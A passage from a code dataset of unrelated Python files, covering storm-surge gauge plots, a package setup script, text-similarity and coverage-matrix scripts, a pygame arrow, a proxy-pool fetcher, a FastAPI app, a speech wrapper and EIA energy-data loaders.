n_cols, figsize=(16,8))\n#fig.set_size_inches(10, 6)\n\n\nx = 0 \nfor i in range(n_rows):\n for j in range(n_cols):\n geoclaw_gauges = gather_data('ike')\n for w in models: \n days = seconds2days(geoclaw_gauges[w][x].t)\n ax[i, j].plot(days, geoclaw_gauges[w][x].q[3], \n linestyle = lstyle[models.index(w)],\n linewidth = 2.0, \n label=w)\n \n ax[i,j].plot(gauge_days[x], gauge_data[x],'k-', linewidth=1.5, label='Obs')\n \n ax[i,j].set_title(\"Gauge %i\" %(x+1),**title_font)\n ax[i,j].set_xlabel(\"Days from Landfall\",**axis_font)\n ax[i,j].set_ylabel(\"Surface (m)\",**axis_font)\n ax[i,j].grid(True, linestyle='-',color='0.75', linewidth=1.5)\n ax[i,j].tick_params(axis='x',labelsize=10)\n ax[i,j].tick_params(axis='y',labelsize=10)\n ax[i,j].tick_params(axis='x')\n ax[i,j].tick_params(axis='y')\n #ax[i,j].legend(prop={'size': 12})\n ax[i,j].legend(fontsize=8)\n ax[i,j].set_xlim(-2,1)\n ax[i,j].set_ylim(-1,5)\n x += 1 \n\n \nfigure_title = \"%s_amr2_gauge_comparisons.pdf\" %(storm)\nsave_path = os.path.join(os.getcwd(), 'pdf', figure_title)\n\nplt.tight_layout()\nplt.savefig(save_path)\n","sub_path":"gulf/ike/gauges_jn.py","file_name":"gauges_jn.py","file_ext":"py","file_size_in_byte":5663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"130322184","text":"# -*- coding: utf-8 -*-\n\nimport os, sys\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"test_sqlite_failover\")\nsys.path.insert(0, '..')\n\nfrom django.core.management import call_command\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n call_command(\"shell\")\n","sub_path":"tests/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499836579","text":"import sys\nimport http_firewall\nfrom os import path\nfrom setuptools import setup, find_packages\nfrom setuptools.command.develop import develop\n# from setuptools.command.install import install\nfrom subprocess import check_call, CalledProcessError\n\npwd = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(pwd, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\n\nclass LintCommand(develop):\n \"\"\" Run linting\"\"\"\n def run(self):\n try:\n check_call(\"flake8 --config .flake8\".split())\n except CalledProcessError as err:\n if 'non-zero' in str(err):\n print(\"linting failed with warnings\", file=sys.stderr)\n sys.exit(1)\n\n\nclass TestCommand(develop):\n \"\"\" Run linting\"\"\"\n def run(self):\n try:\n check_call([\"pytest\"])\n except CalledProcessError as err:\n if 'non-zero' in str(err):\n print(\"testing failed\", file=sys.stderr)\n sys.exit(1)\n\n\ndef requirements_to_list(filename):\n return [dep for dep in open(path.join(pwd, filename)).read().split(\n '\\n'\n ) if (\n dep and not dep.startswith('#')\n )]\n\n\nsetup(\n name='tornado-http-firewall',\n version=http_firewall.__version__,\n description='Validation and Hosting daemon for scatter.online.',\n long_description=long_description,\n long_description_content_type='text/markdown',\n url='https://github.com/mikeshultz/scatter-daemon',\n author=http_firewall.__author__,\n author_email=http_firewall.__email__,\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: End Users/Desktop',\n 'Topic :: Internet',\n 'Topic :: System :: Filesystems',\n 'License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)', # noqa: E501\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n ],\n keywords='ipfs ethereum',\n packages=find_packages(exclude=['docs', 'tests', 'dist', 'build']),\n install_requires=requirements_to_list('requirements.txt'),\n extras_require={\n 'dev': requirements_to_list('requirements.dev.txt'),\n 'test': requirements_to_list('requirements.test.txt'),\n },\n entry_points={\n 'console_scripts': [\n 'thfirewall=http_firewall.main:main',\n ],\n },\n package_data={\n '': [\n 'README.md',\n 'LICENSE',\n 'requirements.txt',\n 'requirements.dev.txt',\n 'requirements.test.txt',\n ],\n },\n cmdclass={\n 'lint': LintCommand,\n 'test': TestCommand,\n }\n)\n","sub_path":"pypi_install_script/tornado-http-firewall-0.0.3.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"442583346","text":"import retinasdk\nfrom misc import bcolors, testfiles\nimport json\nimport pandas as pd\nimport numpy as np\nfrom sys import stdout\n\nliteClient = retinasdk.LiteClient(\"e29fcfe0\")\nfullClient = retinasdk.FullClient(\"your_api_key\", apiServer=\"http://api.cortical.io/rest\", retinaName=\"en_associative\")\n\n\ndef compare_texts(texts1, texts2):\n print(bcolors.HEADER + \"Compute similarity between sentences in dataframes:\" + bcolors.ENDC)\n\n cosines = []\n i = 0\n l = len(texts1)\n\n for s1, s2 in zip(texts1, texts2):\n percent = i / l * 100\n stdout.write(\"\\r{0:.3f} %\".format(percent))\n stdout.flush()\n cosines.append(fullClient.compare(json.dumps([{\"text\": s1}, {\"text\": s2}])).cosineSimilarity)\n i += 1\n return cosines\n\n\ndef compare(filename):\n print(bcolors.OKBLUE + \"Comparing original vs \" + filename + bcolors.ENDC)\n df1 = pd.read_csv(\"data.nosync/test_original.csv\")['text']\n df2 = pd.read_csv(filename)['text']\n\n print(df1.shape)\n print(df2.shape)\n cosines = compare_texts(df1, df2)\n\n print(\"\\nResult report\")\n print(\"Average cosine: {0:.3f}\".format(np.mean(cosines)).replace(\".\", \",\"))\n print(\"Min. cosine: {0:.3f}\".format(np.min(cosines)).replace(\".\", \",\"))\n print(\"Max. cosine: {0:.3f}\".format(np.max(cosines)).replace(\".\", \",\"))\n print(\"Std. cosine: {0:.3f}\".format(np.std(cosines)).replace(\".\", \",\"))\n\n\ncompare(testfiles.NOUNS_VERBS_MORE_PUNCT)\n","sub_path":"cortical.py","file_name":"cortical.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"99579721","text":"#!/usr/bin/env python3\n# combine2Matrix.py\nimport sys,os,argparse\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-i\", \"--input\", help=\"Input directory containing coverage files\")\nparser.add_argument(\"-o\", \"--output\", help=\"Output directory\")\n\nargs = parser.parse_args()\n\nos.chdir(args.input)\nnum_files = 0\nfor file in os.listdir(args.input):\n\tif os.path.isfile(file):\n\t\tnum_files += 1\n\ndatamatrix = [[] for i in range(num_files + 1)] # number of files + column names\ndatamatrix[0].append(\"sample\")\n\nrow = 1\n\nfor file in os.listdir(args.input):\n\tif os.path.isfile(file):\n\t\tprint(\">>> Working with file: \" + os.path.basename(file))\n\t\t\n\t\t# Set the first item of a row to be the sample name\n\t\tsample = (os.path.splitext(file)[0]).split(\"_\")[-1]\n\t\tdatamatrix[row].append(sample)\n\t\trow += 1\n\n\t\t# Fill with data\n\t\tinfile = open(file, \"r\")\n\t\tinfile.readline() # Skip the first headerline of coverage file\n\t\tfor line in infile:\n\t\t\t# Add genomes to first row \n\t\t\tline = line.rstrip().split(\"\\t\")\n\t\t\tif line[0] not in datamatrix[0]:\n\t\t\t\tdatamatrix[0].append(line[0])\n\t\tinfile.close()\n\ncoverage,depth = False,False\n# Fill data in matrix from files:\nheader = datamatrix[0]\nfor file in os.listdir(args.input):\n\tsample = (os.path.splitext(file)[0]).split(\"_\")[-1]\n\t\n\t# determines output name \n\tif os.path.splitext(file)[-1] == \".cov\" and not coverage and not depth:\n\t\tcoverage = True\n\telif os.path.splitext(file)[-1] == \".depth\" and not coverage and not depth:\n\t\tdepth = True\n\n\n\tinfile = open(file, \"r\")\n\tinfile.readline() # Skip the first line of coverage file\n\t# Find the corresponding row\n\tfor i,row in enumerate(datamatrix):\n\t\tif sample == row[0]:\n\t\t\t# If correct row has been encountered, fill it with 0s\n\t\t\tdatamatrix[i][1:] = [0] * (len(header) - len(row))\n\n\t\t\t# Then fill correct positions with data\n\t\t\tfor line in infile:\n\t\t\t\tline = line.rstrip().split(\"\\t\")\n\t\t\t\tif line[0] in header:\n\t\t\t\t\tdatamatrix[i][header.index(line[0])] = line[-1]\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Warning: {}\".format(line[0]))\n\tinfile.close()\n\n#outfile = open(\"/media/phine/Elements/thesis/coverage_matrix_imgvr.txt\", \"w+\") \nif coverage:\n\toutname = args.output + \"/\" + os.path.basename(file).split(\"_\")[0] + \"_coverage_matrix.txt\"\nelif depth:\n\toutname = args.output + \"/\" + os.path.basename(file).split(\"_\")[0] + \"_depth_matrix.txt\"\n\nprint(\"File written to: \" + outname)\noutfile = open(outname, \"w+\")\nfor row in datamatrix:\n\tfor item in row:\n\t\toutfile.write(str(item) + \"\\t\")\n\toutfile.write(\"\\n\")","sub_path":"combine2Matrix.py","file_name":"combine2Matrix.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"48679215","text":"\"\"\"Script that make an arrow that is drawn and can be rotated to indicate direction.\n\"\"\"\n\nimport math\nimport numpy as np\nimport pygame\n\nimport config as cf\nfrom precode2 import ReturnZero, Vector2D\n\n\nclass Arrow:\n \"\"\"Make an arrow that can be drawn, displayed and rotated.\n \"\"\"\n\n def __init__(self):\n \"\"\"Initializing all attributes 'Arrow' needs.\n \"\"\"\n self.pos = Vector2D(cf.X_POS, cf.Y_POS)\n # To the 'north'\n self.dir = Vector2D(0, -1)\n self.vel = 0.0\n self.two_d_pos = Vector2D(0, 0)\n\n def draw(self, screen):\n \"\"\"Draw a polygon that takes the shape of a big arrow.\n\n Makes the polygon from seven 'Vector2D' objects that are all based on the 'dir'-attribute of the arrow.\n\n Arguments:\n screen {pygame surface} -- the surface that the polygon shall be drawn onto\n \"\"\"\n try:\n # Every point is rotated from 'dir' about the center of the polygon,\n # and are then scaled out to give it the correct shape of an arrow.\n one = self.dir.rotate(\n cf.ROTATION[0]).normalized() * cf.SCALING[0]\n two = self.dir.rotate(\n cf.ROTATION[1]).normalized() * cf.SCALING[1]\n three = self.dir.rotate(\n cf.ROTATION[2]).normalized() * cf.SCALING[2]\n four = self.dir.rotate(\n cf.ROTATION[3]).normalized() * cf.SCALING[3]\n five = self.dir.rotate(\n cf.ROTATION[4]).normalized() * cf.SCALING[4]\n six = self.dir.rotate(\n cf.ROTATION[5]).normalized() * cf.SCALING[5]\n seven = self.dir.rotate(\n cf.ROTATION[6]).normalized() * cf.SCALING[6]\n pygame.draw.polygon(screen, (cf.POLYGON_COLOR),\n ((self.pos.x + one.x, self.pos.y + one.y),\n (self.pos.x + two.x, self.pos.y + two.y),\n (self.pos.x + three.x, self.pos.y + three.y),\n (self.pos.x + four.x, self.pos.y + four.y),\n (self.pos.x + five.x, self.pos.y + five.y),\n (self.pos.x + six.x, self.pos.y + six.y),\n (self.pos.x + seven.x, self.pos.y + seven.y)))\n except ReturnZero:\n # In case we try to normalize a null-vector,\n # e.g. if 'dir' has a length of zero.\n one = Vector2D(0, 0)\n two = Vector2D(0, 0)\n three = Vector2D(0, 0)\n four = Vector2D(0, 0)\n five = Vector2D(0, 0)\n six = Vector2D(0, 0)\n seven = Vector2D(0, 0)\n\n def globe_motion(self, earth, NS, EW, dot_y, dot_x):\n \"\"\"Make the movement fit to a globe Earth, where straight lines\n are great circles and not straight lines in Euclidean space.\n \"\"\"\n try:\n direction = self.dir.rotate(90)\n angle = math.degrees(np.arctan2(direction.y, direction.x))\n p = earth.Direct(NS, EW, angle, self.vel)\n rotation = p['azi2'] - p['azi1']\n self.dir = self.dir.rotate(rotation)\n self.two_d_pos.y -= p['lat2'] - p['lat1']\n dot_y -= p['lat2'] - p['lat1']\n self.two_d_pos.x += p['lon2'] - p['lon1']\n dot_x += p['lon2'] - p['lon1']\n NS, EW = p['lat2'], p['lon2']\n except Exception:\n pass\n\n return NS, EW, dot_y, dot_x\n","sub_path":"gps_pygame/arrow.py","file_name":"arrow.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"255728347","text":"\n# coding: utf-8\n\n# # 有一個知名網站的使用者log 檔 web.txt\n# 1.請試用python 計算web.txt 內共有多少行?\n# 2.請找出前三最多人看的商品pid\n# 3.請計算每個使用者uid 看過多少商品\n\n# In[109]:\n\ncount = 0\nwith open(r'C:\\Users\\Administrator\\Desktop\\web.txt') as txt:\n for line in txt:\n count+=1\nprint('請試用python 計算web.txt 內共有多少行?\\n{}'.format(count))\n\n\n# In[112]:\n\nfrom collections import Counter\nc = Counter()\na = []\nwith open(r'C:\\Users\\Administrator\\Desktop\\web.txt','r') as txt:\n for line in txt:\n if 'pid=' in line.lower():\n a.append(line.split(\";\")[3])\nfor w in a:\n c[w] += 1\nprint('請找出前三最多人看的商品pid\\n{}'.format(c.most_common(3)))\n\n\n# In[113]:\n\nfrom collections import Counter\nc = Counter()\nwith open(r'C:\\Users\\Administrator\\Desktop\\web.txt','r') as txt:\n for line in txt:\n if 'act=view' in line.lower():\n user = line.split(\";\")[2].split(\"=\")[1]\n if user != '':\n c[user] +=1\nprint ('請計算每個使用者uid 看過多少商品\\n{}'.format(c))\n\n\n# In[84]:\n\ndic={}\ndic={'a':'1','a':'1'}\ndic.update({'a':'1'})\nprint (dic)\n\n\n# In[89]:\n\n#'U46488849': 32\na = []\nb=[]\nwith open(r'C:\\Users\\Administrator\\Desktop\\web.txt','r') as txt:\n for line in txt:\n if 'pid=' in line.lower() and 'U46488849' in line.lower():\n b.append(line.split(\";\")[2].split(\"=\")[1])\n b.append(line.split(\";\")[3].split(\"=\")[1])\nprint (b)\n\n\n# In[ ]:\n\n\n\n","sub_path":"Homework2.py","file_name":"Homework2.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"203704393","text":"\"\"\"empty message\n\nRevision ID: a011c16aeb42\nRevises: 95c9d84853b7\nCreate Date: 2017-12-16 18:58:56.134256\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a011c16aeb42'\ndown_revision = '95c9d84853b7'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('post',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('body', sa.String(), nullable=True),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.add_column('user', sa.Column('about_me', sa.String(length=128), nullable=True))\n op.add_column('user', sa.Column('last_seen', sa.DateTime(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('user', 'last_seen')\n op.drop_column('user', 'about_me')\n op.drop_table('post')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/a011c16aeb42_.py","file_name":"a011c16aeb42_.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"232905851","text":"import requests\nfrom requests.exceptions import ConnectionError\nfrom .db import RedisClient\nfrom proxypool.setting import REDIS_KEY, REDIS_HTTPS, REDIS_HTTP, START_PROXY, LOGGERNAME\nimport logging\n\nbase_headers = {\n 'User-Agent':\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept':\n 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n}\n\n\ndef getnewproxy():\n redisdb = RedisClient()\n newproxy = redisdb.random(mode=REDIS_HTTPS)\n randamproxy = {'http': newproxy, 'https': newproxy}\n return randamproxy\n\n\ndef get_page(url, options={}):\n \"\"\"\n 抓取代理\n :param url:\n :param options:\n :return:\n \"\"\"\n spider_log = logging.getLogger(LOGGERNAME)\n headers = dict(base_headers, **options)\n spider_log.info('正在抓取:' + url)\n try:\n response = requests.get(url, headers=headers, proxies=START_PROXY)\n if response.status_code == 200:\n spider_log.info('抓取成功' + url + str(response.status_code))\n return response.text\n else:\n spider_log.info('更换ip重试' + url)\n randamproxy = getnewproxy()\n response = requests.get(url, headers=headers, proxies=randamproxy)\n if response.status_code == 200:\n spider_log.info('抓取成功' + url + str(response.status_code))\n return response.text\n else:\n spider_log.warning('抓取失败' + url + str(response.status_code))\n return None\n except ConnectionError:\n spider_log.info('更换ip重试' + url)\n randamproxy = getnewproxy()\n try:\n response = requests.get(url, headers=headers, proxies=randamproxy)\n if response.status_code == 200:\n spider_log.info('抓取成功' + url + str(response.status_code))\n return response.text\n else:\n spider_log.error('抓取失败' + url + str(response.status_code))\n return None\n except ConnectionError:\n spider_log.error('抓取失败' + url)\n return None\n","sub_path":"proxypool/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"70238025","text":"import api.v1.api as api_router_v1\nimport uvicorn\nfrom api.utils.common_log import myLogger\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.openapi.docs import (\n get_redoc_html,\n get_swagger_ui_html,\n get_swagger_ui_oauth2_redirect_html,\n)\n\nmyLogger.info_logger(\"Starting server\")\napp = FastAPI(docs_url=None, redoc_url=None)\n\ndef get_app(): \n origins = [\n \"http://localhost\",\n \"http://localhost:9090\",\n ]\n\n app.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=False,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n )\n app.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\n app.include_router(api_router_v1.get_api(), prefix=\"/api/v1\")\n return app\n\n@app.get(\"/docs\", include_in_schema=False)\nasync def custom_swagger_ui_html():\n return get_swagger_ui_html(\n openapi_url=app.openapi_url,\n title=app.title + \" - Swagger UI\",\n oauth2_redirect_url=app.swagger_ui_oauth2_redirect_url,\n swagger_js_url=\"/static/swagger-ui/swagger-ui-bundle.js\",\n swagger_css_url=\"/static/swagger-ui/swagger-ui.css\",\n )\n\n@app.get(app.swagger_ui_oauth2_redirect_url, include_in_schema=False)\nasync def swagger_ui_redirect():\n return get_swagger_ui_oauth2_redirect_html()\n\n@app.get(\"/redoc\", include_in_schema=False)\nasync def redoc_html():\n return get_redoc_html(\n openapi_url=app.openapi_url,\n title=app.title + \" - ReDoc\",\n redoc_js_url=\"/static/redoc/redoc.standalone.js\",\n )\n\nif __name__ == \"__main__\":\n uvicorn.run(\"main:get_app\", host='0.0.0.0', port=5000, reload=True)\n","sub_path":"appmanage/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"269649077","text":"#coding: utf-8\nimport subprocess\nimport pydub\nfrom datetime import datetime\n\ndef jtalk(t, name, base_dir='.'):\n\topen_jtalk=['open_jtalk']\n\tmech=['-x',base_dir + '/dic']\n\t#htsvoice=['-m','/usr/share/hts-voice/mei/mei_normal.htsvoice']\n\thtsvoice=['-m',base_dir+'/voices/mei/mei_normal.htsvoice']\n\tspeed=['-r','1.0']\n\toutwav=['-ow',name + '.wav']\n\tcmd=open_jtalk+mech+htsvoice+speed+outwav\n\tt = t.encode()\n\tc = subprocess.Popen(cmd,stdin=subprocess.PIPE)\n\tc.stdin.write(t)\n\tc.stdin.close()\n\tc.wait()\n\t# sound = pydub.AudioSegment.from_wav(\"open_jtalk.wav\")\n\t# sound.export(name+\".mp3\", format=\"mp3\") \n\t# aplay = ['aplay','-q','open_jtalk.wav']\n\t# wr = subprocess.Popen(aplay)\n\ndef say_datetime():\n\td = datetime.now()\n\ttext = '%s月%s日、%s時%s分%s秒' % (d.month, d.day, d.hour, d.minute, d.second)\n\tjtalk(text)\n\taplay = ['aplay','-q','open_jtalk.wav']\n\twr = subprocess.Popen(aplay)\n\nif __name__ == '__main__':\n\tsay_datetime()\n","sub_path":"system/jtalk.py","file_name":"jtalk.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"385305900","text":"import os\nimport json\nimport requests\nimport pandas as pd\nimport numpy as np\nfrom functools import reduce \n\nclass GetEIAData:\n def __init__(self, sector):\n self.sector = sector\n\n def eia_api(self, id_, id_type='category'):\n \"\"\"[summary]\n\n Args:\n id_ ([type]): [description]\n id_type (str, optional): [description]. Defaults to 'category'.\n\n Returns:\n [type]: [description]\n \"\"\" \n api_key = os.environ.get(\"EIA_API_Key\")\n\n if id_type == 'category':\n eia_data = self.get_category(api_key, id_)\n elif id_type == 'series':\n eia_data = self.get_series(api_key, id_)\n else:\n eia_data = None\n print('Error: neither series nor category given')\n \n eia_data['Year'] = eia_data['Year'].apply(lambda y: y.strftime('%Y'))\n eia_data = eia_data.set_index('Year').sort_index(ascending=True)\n eia_data = eia_data.replace('NA', np.nan)\n return eia_data\n \n def get_category(self, api_key, id_):\n \"\"\"Collect categorical data from EIA API by merging data for all child series\n \"\"\" \n api_call = f'http://api.eia.gov/category/?api_key={api_key}&category_id={id_}'\n r = requests.get(api_call)\n data = r.json()\n eia_childseries = data['category']['childseries']\n eia_series_ids = [i['series_id'] for i in eia_childseries]\n eia_data = [self.get_series(api_key, s) for s in eia_series_ids]\n all_category = reduce(lambda x, y: pd.merge(x, y, on ='Year'), eia_data)\n return all_category\n\n @staticmethod\n def get_series(api_key, id_):\n \"\"\"Collect series data from EIA API, format in dataframe with year as index\n \"\"\" \n api_call = f'http://api.eia.gov/series/?api_key={api_key}&series_id={id_}'\n r = requests.get(api_call)\n eia_data = r.json()\n date_column_name = str(eia_data['series'][0]['f'])\n data_column_name = str(eia_data['series'][0]['name']) + ', ' + str(eia_data['series'][0]['units'])\n eia_df = pd.DataFrame.from_dict(eia_data['series'][0]['data'])\n eia_df = eia_df.rename(columns={0: date_column_name, 1: data_column_name})\n if date_column_name == 'M':\n eia_df['Year'] = pd.to_datetime(eia_df['M'], format='%Y%m') # .dt.to_period('Y')\n eia_df = eia_df.drop('M', axis='columns')\n elif date_column_name == 'Q':\n eia_df['Year'] = eia_df['Q'].apply(lambda x: pd.to_datetime(x).year)\n eia_df = eia_df.groupby(['Year']).sum().reset_index()\n eia_df['Year'] = pd.to_datetime(eia_df['Year'], format='%Y')\n elif date_column_name == 'A' or date_column_name == 'Year':\n eia_df['Year'] = pd.to_datetime(eia_df['A'], format='%Y') #.dt.to_period('Y')\n eia_df = eia_df.drop('A', axis='columns')\n else:\n print('eia_df no year \\n', eia_df.columns)\n print('No year column')\n pass\n return eia_df\n\n def get_seds(self):\n \"\"\"Load and format energy consumption data\n Used for commercial (ESCCB and TNCCB) and residential (ESCRB and TNRCB)\n './EnergyIntensityIndicators/use_all_btu.csv'\n https://www.eia.gov/state/seds/seds-data-complete.php?sid=US\n \"\"\" \n consumption_all_btu = pd.read_csv('https://www.eia.gov/state/seds/sep_use/total/csv/use_all_btu.csv') # Commercial: '40210 , residential : '40209 \n # 1960 through 2017 SEDS Data, MSN refers to fuel type\n state_to_census_region = pd.read_csv('./Data/state_to_census_region.csv')\n state_to_census_region = state_to_census_region.rename(columns={'USPC': 'State'})\n consumption_census_region = consumption_all_btu.merge(state_to_census_region, on='State', how='outer')\n\n\n years = list(range(1960, 2018))\n years = [str(year) for year in years]\n \n consumption_census_region = consumption_census_region[['Census Region', 'MSN'] + years]\n\n if self.sector == 'residential':\n consumption_census_region = consumption_census_region[consumption_census_region['MSN'].isin(['ESRCB', 'TNRCB'])]\n consumption_census_region = consumption_census_region.set_index(['MSN', 'Census Region'])\n\n consumption_census_region = consumption_census_region.stack().reset_index().rename(columns={'level_2': 'year', 0: 'value'})\n\n ESRCB_by_region = consumption_census_region[consumption_census_region['MSN'] == 'ESRCB'].drop('MSN', axis=1) \n ESRCB_by_region = pd.pivot_table(ESRCB_by_region, index='year', columns='Census Region', values='value') \n\n TNRCB_by_region = consumption_census_region[consumption_census_region['MSN'] == 'TNRCB'].drop('MSN', axis=1)\n TNRCB_by_region = pd.pivot_table(TNRCB_by_region, index='year', columns='Census Region', values='value') \n\n elec_to_indicators = ESRCB_by_region[[1, 2, 3, 4]].multiply(0.001)\n elec_to_indicators['National'] = elec_to_indicators.sum(1)\n\n total_primary = TNRCB_by_region[[1, 2, 3, 4]].subtract(ESRCB_by_region[[1, 2, 3, 4]])\n total_fuels_to_indicators = total_primary.multiply(0.001)\n total_fuels_to_indicators['National'] = total_fuels_to_indicators.sum(1)\n\n elif self.sector == 'commercial':\n consumption_census_region = consumption_census_region[consumption_census_region['MSN'].isin(['ESCCB', 'TNCCB'])]\n consumption_census_region = consumption_census_region.set_index(['MSN', 'Census Region'])\n\n consumption_census_region = consumption_census_region.stack().reset_index().rename(columns={'level_2': 'year', 0: 'value'})\n\n ESCCB_by_region = consumption_census_region[consumption_census_region['MSN'] == 'ESCCB'].drop('MSN', axis=1) \n ESCCB_by_region = pd.pivot_table(ESCCB_by_region, index='year', columns='Census Region', values='value') \n\n TNCCB_by_region = consumption_census_region[consumption_census_region['MSN'] == 'TNCCB'].drop('MSN', axis=1)\n TNCCB_by_region = pd.pivot_table(TNCCB_by_region, index='year', columns='Census Region', values='value')\n\n elec_to_indicators = ESCCB_by_region[[1, 2, 3, 4]].multiply(0.001)\n elec_to_indicators['National'] = elec_to_indicators.sum(1)\n\n total_primary = TNCCB_by_region[[1, 2, 3, 4]].subtract(ESCCB_by_region[[1, 2, 3, 4]])\n total_fuels_to_indicators = total_primary.multiply(0.001)\n total_fuels_to_indicators['National'] = total_fuels_to_indicators.sum(1)\n\n else:\n return None\n \n return total_fuels_to_indicators, elec_to_indicators\n\n def national_calibration(self):\n \"\"\"Calibrate SEDS energy consumption data to most recent data from the Annual or Monthly Energy Review\n\n TODO: \n The whole point of this is to reconcile the AER and MER data, so they shouldn't be the same API endpoint\n \"\"\"\n if self.sector == 'residential':\n AER11_table2_1b_update = pd.read_excel('https://www.eia.gov/totalenergy/data/browser/xls.php?tbl=T02.02', skiprows=10, header=0).drop(0, axis=0)\n AER11_table2_1b_update = AER11_table2_1b_update.replace({'Not Available': np.nan})\n AER11_table2_1b_update['Month'] = pd.to_datetime(AER11_table2_1b_update['Month'], format='%Y-%m-%d')\n AER11_table2_1b_update['Year'] = pd.DatetimeIndex(AER11_table2_1b_update['Month']).year\n AER11_table2_1b_update = AER11_table2_1b_update.groupby(by=['Year']).sum() # add groupby(dropna=False) when that feature is released # self.eia_api(id_='711250')\n AnnualData_MER_22_Dec2019 = pd.read_csv('https://www.eia.gov/totalenergy/data/browser/csv.php?tbl=T02.02') # self.eia_api(id_='711250')\n \n # .eia_api(id_=, id_type='category')\n electricity_retail_sales_residential_sector = self.eia_api(id_='TOTAL.ESRCBUS.A', id_type='series')\n total_primary_energy_consumed_residential_sector = self.eia_api(id_='TOTAL.TXRCBUS.A', id_type='series')\n\n fuels_census_region, electricity_census_region = self.get_seds() \n electricity_df = pd.DataFrame()\n electricity_df['AER 11 (Billion Btu)'] = AER11_table2_1b_update['Electricity Retail Sales to the Residential Sector'] # Column S Electricity Retail Sales\n electricity_df['MER, 12/19 (Trillion Btu)'] = electricity_retail_sales_residential_sector # AnnualData_MER_22_Dec2019['Electricity Retail Sales to the Residential Sector'] # Column K\n electricity_df['SEDS (10/18) (Trillion Btu)'] = electricity_census_region['National'] # Column G\n electricity_df['Ratio MER/SEDS'] = electricity_df['MER, 12/19 (Trillion Btu)'].div(electricity_df['SEDS (10/18) (Trillion Btu)'].values)\n electricity_df['Final Est. (Trillion Btu)'] = electricity_df['SEDS (10/18) (Trillion Btu)'].multiply(electricity_df['Ratio MER/SEDS'].values)\n # If SEDS is 0, replace with MER\n electricity_df['Final Est. (Trillion Btu)'] = electricity_df['Final Est. (Trillion Btu)'].fillna(electricity_df['MER, 12/19 (Trillion Btu)'])\n\n fuels_df = pd.DataFrame()\n fuels_df['AER 11 (Billion Btu)'] = AER11_table2_1b_update['Total Primary Energy Consumed by the Residential Sector'] # Column Q\n fuels_df['MER, 12/19 (Trillion Btu)'] = total_primary_energy_consumed_residential_sector # AnnualData_MER_22_Dec2019['Total Primary Energy Consumed by the Residential Sector']# Column J\n fuels_df['SEDS (10/18) (Trillion Btu)'] = fuels_census_region['National'] # Column N\n fuels_df['Ratio MER/SEDS'] = fuels_df['MER, 12/19 (Trillion Btu)'].div(fuels_df['SEDS (10/18) (Trillion Btu)'].values)\n fuels_df['Final Est. (Trillion Btu)'] = fuels_df['SEDS (10/18) (Trillion Btu)'].multiply(fuels_df['Ratio MER/SEDS'].values)\n # If SEDS is 0, replace with MER\n fuels_df['Final Est. (Trillion Btu)'] = fuels_df['Final Est. (Trillion Btu)'].fillna(fuels_df['MER, 12/19 (Trillion Btu)'])\n # # Not sure if these are needed\n # recs_btu_hh = electricity_df['SEDS (10/18) (Trillion Btu)'].add(fuels_df['SEDS (10/18) (Trillion Btu)']).div(recs_millions) # How do order of operations work here ?? 